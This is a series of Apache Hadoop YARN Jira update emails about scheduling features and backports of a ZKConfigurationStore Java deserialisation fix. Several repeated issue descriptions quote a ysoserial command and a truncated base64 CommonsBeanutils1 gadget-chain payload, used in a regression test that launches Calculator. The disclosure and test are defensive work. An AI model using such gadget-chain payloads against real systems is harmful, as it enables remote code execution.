[ https://issues.apache.org/jira/browse/YARN-9770?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9770: --- Target Version/s: 2.10.3 (was: 2.10.2) > Create a queue ordering policy which picks child queues with equal probability > -- > > Key: YARN-9770 > URL: https://issues.apache.org/jira/browse/YARN-9770 > Project: Hadoop YARN > Issue Type: Improvement >Reporter: Jonathan Hung >Assignee: Jonathan Hung >Priority: Major > Attachments: YARN-9770.001.patch, YARN-9770.002.patch, > YARN-9770.003.patch, activeUsers_overlay.png > > > Ran some simulations with the default queue_utilization_ordering_policy: > An underutilized queue which receives an application with many (thousands) > resource requests will hog scheduler allocations for a long time (on the > order of a minute). In the meantime apps are getting submitted to all other > queues, which increases activeUsers in these queues, which drops user limit > in these queues to small values if minimum-user-limit-percent is configured > to small values (e.g. 10%). > To avoid this issue, we assign to queues with equal probability, to avoid > scenarios where queues don't get allocations for a long time. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9869) Create scheduling policy to auto-adjust queue elasticity based on cluster demand
[ https://issues.apache.org/jira/browse/YARN-9869?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9869: --- Target Version/s: 2.10.3 (was: 2.10.2) > Create scheduling policy to auto-adjust queue elasticity based on cluster > demand > > > Key: YARN-9869 > URL: https://issues.apache.org/jira/browse/YARN-9869 > Project: Hadoop YARN > Issue Type: New Feature >Reporter: Jonathan Hung >Priority: Major > > Currently LinkedIn has a policy to auto-adjust queue elasticity based on > real-time queue demand. We've been running this policy in production for a > long time and it has helped improve overall cluster utilization. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9869) Create scheduling policy to auto-adjust queue elasticity based on cluster demand
[ https://issues.apache.org/jira/browse/YARN-9869?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541320#comment-17541320 ] Masatake Iwasaki commented on YARN-9869: updated the target version for preparing 2.10.2 release. > Create scheduling policy to auto-adjust queue elasticity based on cluster > demand > > > Key: YARN-9869 > URL: https://issues.apache.org/jira/browse/YARN-9869 > Project: Hadoop YARN > Issue Type: New Feature >Reporter: Jonathan Hung >Priority: Major > > Currently LinkedIn has a policy to auto-adjust queue elasticity based on > real-time queue demand. We've been running this policy in production for a > long time and it has helped improve overall cluster utilization. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11126:
Fix Version/s: 2.10.2
(was: 2.10.3)
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWY
[jira] [Commented] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541281#comment-17541281
]
Masatake Iwasaki commented on YARN-11126:
-
and to branch-2.10.2.
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRh
[jira] [Resolved] (YARN-11162) Set the zk acl for nodes created by ZKConfigurationStore.
[ https://issues.apache.org/jira/browse/YARN-11162?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki resolved YARN-11162. - Fix Version/s: 3.4.0 3.2.4 3.3.4 Hadoop Flags: Reviewed Resolution: Fixed > Set the zk acl for nodes created by ZKConfigurationStore. > - > > Key: YARN-11162 > URL: https://issues.apache.org/jira/browse/YARN-11162 > Project: Hadoop YARN > Issue Type: Bug > Components: resourcemanager >Affects Versions: 2.10.1 >Reporter: Owen O'Malley >Assignee: Owen O'Malley >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4 > > Time Spent: 0.5h > Remaining Estimate: 0h > -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11126:
Fix Version/s: 2.10.3
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.2.4, 3.3.4, 2.10.3
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADE
[jira] [Commented] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541268#comment-17541268
]
Masatake Iwasaki commented on YARN-11126:
-
I pushed the backport to branch-2.10 again using
org.apache.commons.codec.binary.Base64 instead of java.util.Base64.
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.2.4, 3.3.4, 2.10.3
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcH